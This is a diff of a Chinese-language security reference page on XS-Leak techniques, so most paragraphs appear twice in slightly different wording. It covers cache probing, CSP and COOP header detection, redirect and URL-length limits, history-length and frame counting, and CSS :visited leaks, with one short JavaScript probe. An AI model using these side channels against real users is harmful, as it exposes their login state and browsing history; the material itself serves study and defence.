现代浏览器不会指示重定向到的 URL但仍然可以检测到触发了跨源重定向。
XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是 **允许攻击者站点上的目标域**。一旦向目标域发出请求,它 **重定向** 到一个跨源域。**CSP 阻止** 访问并创建一个 **违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
现代浏览器不会指示重定向到的 URL仍然可以检测到跨源重定向已被触发
### 缓存
@ -511,9 +511,9 @@ XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此
- **总结:** 从缓存中清除文件。打开目标页面检查文件是否存在于缓存中。
- **代码示例:**
浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否**请求了特定文件**。
浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否 **请求了特定文件**
如果一个页面仅在用户登录时加载图像,您可以**使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行一个请求**,该请求可能加载该资源,并尝试使用**错误请求**加载该资源(例如,使用过长的 referer 头)。如果资源加载**没有触发任何错误**,则是因为它被**缓存**
如果一个页面仅在用户登录时加载图像,您可以 **使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行请求** 以加载该资源,并尝试 **使用错误请求** 加载该资源(例如,使用过长的 referer 头)。如果资源加载 **没有触发任何错误**,那是因为它被 **缓存**
### CSP 指令
@ -523,29 +523,29 @@ XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此
- **总结:** CSP 头指令可以通过 CSP iframe 属性进行探测,揭示策略细节。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**,并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者提供了一条路径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来 **提议内容安全策略 (CSP)**,并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须 **通过 HTTP 头进行授权**,否则将 **显示错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者打开了一条路径,通过识别错误页面来 **检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种 **新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
### **CORP**
- **包含方法**: Fetch API
- **可检测差异**: Header
- **更多信息**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **总结:** 使用跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
- **总结:** 通过跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
- **代码示例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止对给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
CORP 头是一个相对较新的网络平台安全特性,当设置时 **阻止从给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会 **抛出错误**
### CORB
- **包含方法**: HTML 元素
- **可检测差异**: Headers
- **更多信息**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **总结**: CORB 可以让攻击者检测到请求中**`nosniff` 头的存在**。
- **总结**: CORB 可以允许攻击者检测请求中 **`nosniff` 头的存在**。
- **代码示例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
查看链接以获取有关攻击的更多信息。
查看链接以获取有关攻击的更多信息。
### CORS 错误在源反射错误配置 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
### CORS 错误在源反射错误配置 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
- **包含方法**: Fetch API
- **可检测差异**: Headers
@ -553,7 +553,7 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射,则可以检查资源是否已经在缓存中。
- **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果没有触发**错误**,则意味着它是**正确地从网络获取的**;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
如果 **Origin 头** `Access-Control-Allow-Origin` 头中被 **反射**,攻击者可以利用这种行为尝试 **以 CORS 模式获取** **资源**。如果 **没有** 触发 **错误**,则意味着它是 **正确地从网络获取的**,如果触发了错误,则是因为它是 **从缓存中访问的**(错误出现是因为缓存保存了一个允许原始域而不是攻击者域的 CORS 头的响应)。\
请注意,如果原始域没有被反射,但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
## 可读属性技术
@ -566,30 +566,30 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型 (opaque-redirect)。
- **代码示例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。
### COOP
- **包含方法**: 弹出窗口
- **可检测差异**: Header
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问 **`contentWindow` 引用** 来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性** 成为一个明显的指示器:当 COOP 活动时,它是 **未定义的**,而在没有 COOP 的情况下是 **定义的**
### URL 最大长度 - 服务器端
- **包含方法**: Fetch API, HTML 元素
- **可检测差异**: 状态码 / 内容
- **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **总结:** 检测响应中的差异,因为重定向响应长度可能大,服务器会回复错误并生成警报。
- **总结:** 检测响应中的差异,因为重定向响应长度可能大,服务器会回复错误并生成警报。
- **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用了**该数据**并**添加**了一些**额外内容**,则会触发一个**可通过错误事件检测到的错误**
如果服务器端重定向使用 **用户输入进行重定向****额外数据**。可以检测这种行为,因为通常 **服务器****请求长度限制**。如果 **用户数据****长度 - 1**,因为 **重定向** 使用 **该数据****添加** 一些 **额外内容**,它将触发一个 **可通过错误事件检测到的错误**
如果您可以以某种方式将 cookies 设置给用户,您还可以通过**设置足够的 cookies**[**cookie bomb**](hacking-with-cookies/cookie-bomb.md))来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
关于**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
如果您可以以某种方式将 cookies 设置给用户,您还可以通过 **设置足够的 cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) 来执行此攻击,因此 **正确响应****响应大小增加** 会触发一个 **错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
关于 **cookie bomb + XS-Search** 的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` 或处于相同上下文通常是此类攻击所需的。
@ -598,18 +598,18 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **包含方法**: 弹出窗口
- **可检测差异**: 状态码 / 内容
- **更多信息**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **总结:** 检测响应中的差异,因为重定向响应长度可能大,以至于可以注意到差异。
- **总结:** 检测响应中的差异,因为重定向响应长度可能大,以至于可以注意到差异。
- **代码示例**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
根据 [Chromium 文档](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)Chrome 的最大 URL 长度为 2MB。
> 一般来说_web 平台_ 对 URL 的长度没有限制(尽管 2^31 是一个常见限制。_Chrome_ 将 URL 限制为最大长度 **2MB**,出于实际原因并避免在进程间通信中造成拒绝服务问题。
因此,如果**重定向 URL 的响应在某些情况下更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时Chrome 会显示一个**`about:blank#blocked`** 页面。
因此,如果 **重定向 URL 在某些情况下响应的大小更大**,则可以使其重定向到 **大于 2MB 的 URL** 以达到 **长度限制**。当发生这种情况时Chrome 显示 **`about:blank#blocked`** 页面。
**显著差异**是,如果**重定向**已**完成**`window.origin` 会抛出一个**错误**,因为跨源无法访问该信息。然而,如果**限制**被****触及,并且加载的页面是**`about:blank#blocked`**,则窗口的**`origin`** 保持为**父级**的值,这是一个**可访问的信息**。
**显著差异** 是,如果 **重定向****完成**`window.origin` 会抛出 **错误**,因为跨源无法访问该信息。然而,如果 **限制** 被触及且加载的页面是 **`about:blank#blocked`**,则窗口的 **`origin`** 保持为 **父级** 的值,这是一个 **可访问的信息**
所有达到**2MB**所需的额外信息可以通过初始 URL 中的**哈希**添加,以便在重定向中**使用**。
所有达到 **2MB** 所需的额外信息可以通过初始 URL 中的 **哈希** 添加,以便在 **重定向中使用**
{{#ref}}
xs-search/url-max-length-client-side.md
@ -623,18 +623,18 @@ xs-search/url-max-length-client-side.md
- **总结:** 利用浏览器的重定向限制来确定 URL 重定向的发生。
- **代码示例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则表示页面试图**重定向受害者**。
如果浏览器的 **最大** 重定向次数为 **20**,攻击者可以尝试用 **19 次重定向** 加载他的页面,最后 **将受害者** 发送到测试页面。如果触发了 **错误**,则页面试图 **重定向受害者**
### 历史长度
- **包含方法**: 框架, 弹出窗口
- **可检测差异**: 重定向
- **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **总结:** JavaScript 代码操纵浏览器历史,可以通过长度属性访问。
- **总结:** JavaScript 代码操纵浏览器历史记录,可以通过长度属性访问。
- **代码示例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**历史 API** 允许 JavaScript 代码操纵浏览器历史,**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**检查 `history.length`**,使用户**导航**到一个页面,**返回**到同源并**检查**新的**`history.length`**。
**历史 API** 允许 JavaScript 代码操纵浏览器历史记录**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**检查 `history.length`**,使用户 **导航** 到一个页面,**返回** 到同源并 **检查** 新的 **`history.length`**
### 同一 URL 的历史长度
@ -643,7 +643,7 @@ xs-search/url-max-length-client-side.md
- **总结:** 可以通过历史长度的滥用来猜测框架/弹出窗口的位置是否在特定 URL 中。
- **代码示例**: 以下
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以**历史长度在加载猜测的 URL 时从未增加**。
攻击者可以使用 JavaScript 代码 **操纵框架/弹出窗口的位置到猜测的 URL**,并 **立即** **将其更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间 **增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它 **尝试加载猜测的 URL**,但因为我们 **立即之后** 加载了 **`about:blank`**,所以 **历史长度在加载猜测的 URL 时从未增加**
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -664,66 +664,66 @@ console.log(await debug(win, "https://example.com/?a=b"))
### Frame Counting
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
计算通过 `iframe``window.open` 打开的 **网页中的帧数** 可能有助于识别 **用户在该页面上的状态**。\
此外,如果页面始终具有相同数量的帧,**持续** 检查帧可能有助于识别可能泄露信息的 **模式**
此外,如果页面始终具有相同数量的帧,持续检查帧数可能有助于识别可能泄露信息的 **模式**
这种技术的一个例子是在 Chrome 中,**PDF** 可以通过 **帧计数****检测**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom``view``page``toolbar`,在这种情况下,这种技术可能会很有趣。
这种技术的一个例子是在 Chrome 中,**PDF** 可以通过 **帧计数****检测**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom``view``page``toolbar`,在这种情况下,这种技术可能会很有趣。
### HTMLElements
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** 读取泄露的值以区分两种可能的状态
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。这可以被攻击者利用,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
### Information Exposed by HTML Elements
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,像 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 等附加属性可用,提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,像 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 等附加属性可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** 识别与用户状态或身份相关的网站样式变化。
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Web 应用程序可能会根据用户的状态改 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中,**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 **检测** 这些 **差异**。\
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
Web 应用程序可能会根据用户的状态**网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中,**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 **检测** 这些 **差异**。\
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
### CSS History
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** 检测 `:visited` 样式是否应用于 URL指示其已被访问
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法,这在无头 Chrome 中不起作用
> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),在无头 Chrome 中此方法无效
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差异。在 Chromium 的一个错误报告中提到了一种概念验证PoC演示了使用多个链接来放大时间差异,从而通过时间分析使访问状态可检测。
此外,可以通过利用链接的渲染时间而无需用户交互来实现检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差。Chromium 错误报告中提到了一种概念证明 (PoC),演示了使用多个链接来放大时间差,从而通过时间分析使访问状态可检测。
有关这些属性和方法的更多详细信息,请访问其文档页面:
- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
@ -733,7 +733,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 在 Google Chrome 中,当由于 X-Frame-Options 限制而阻止页面嵌入到跨域站点时,会显示专用错误页面。
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,常常忽视错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
### Download Detection
@ -746,13 +746,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
1. **下载栏监控**
- 当文件在基于 Chromium 的浏览器中下载时,下载栏会出现在浏览器窗口底部。
- 当文件在基于 Chromium 的浏览器中下载时,浏览器窗口底部会出现下载栏
- 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明下载已启动。
2. **使用 Iframes 的下载导航**
2. **使用 iframe 的下载导航**
- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时,它不会导致导航事件。
- 通过在 iframe 中加载内容并监控导航事件,可以检查内容处置是否导致文件下载(无导航)或不是。
3. **不使用 Iframes 的下载导航**
- 与 iframe 技术类似,此方法涉及使用 `window.open` 而不是 iframe。
3. **不使用 iframe 的下载导航**
- 类似于 iframe 技术,此方法涉及使用 `window.open` 而不是 iframe。
- 监控新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航)或内容是否内联显示(发生导航)。
在只有登录用户可以触发此类下载的情况下,这些技术可以用来间接推断用户的身份验证状态,基于浏览器对下载请求的响应。
@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> 这就是为什么这个技术有趣Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> 这就是为什么这个技术有趣的原因Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论)
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接请求该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接 **请求** 该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
或者可以 **发送一些 fetch 到可能被缓存的页面并测量所需时间**。
或者可以 **向可能被缓存的页面发送一些 fetch 并测量所需时间**。
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -792,12 +792,12 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 可以尝试加载资源,并在加载之前中断加载。根据是否触发错误,资源可能已被缓存或未被缓存。
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
使用 _**fetch**__**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存**将特定资源从浏览器缓存中驱逐。此外,该过程在不缓存新内容的情况下进行。
使用 _**fetch**__**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存** 并从浏览器缓存中驱逐特定资源。此外,该过程在不缓存新内容的情况下进行。
### Script Pollution
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
